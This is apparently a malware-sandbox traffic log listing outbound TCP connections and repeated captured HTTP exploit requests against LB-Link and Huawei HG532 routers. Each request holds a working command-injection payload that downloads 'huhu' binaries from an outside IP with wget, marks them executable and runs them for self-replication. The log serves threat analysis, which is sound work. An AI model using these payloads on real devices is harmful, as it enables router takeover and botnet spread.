Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 139.132.216.84:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 124.143.72.131:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 95.194.238.119:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 177.208.163.47:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 170.253.150.162:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 37.255.19.133:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 197.167.230.24:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 98.118.239.158:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 155.193.98.52:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 198.172.34.61:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 140.168.22.123:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 37.233.101.5:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 162.100.93.118:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 35.43.170.156:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 24.126.123.7:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 24.76.165.168:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 209.66.132.176:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 205.164.134.38:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 133.188.11.221:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 181.54.118.99:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 166.40.60.79:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 58.73.60.251:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 128.125.198.96:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 70.0.230.56:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 103.233.97.194:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 154.76.166.124:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 61.165.1.82:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 58.88.30.158:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 163.119.163.50:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 151.233.196.202:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 114.138.22.23:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 8.66.104.94:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 164.29.123.17:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 158.81.27.42:8080

Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 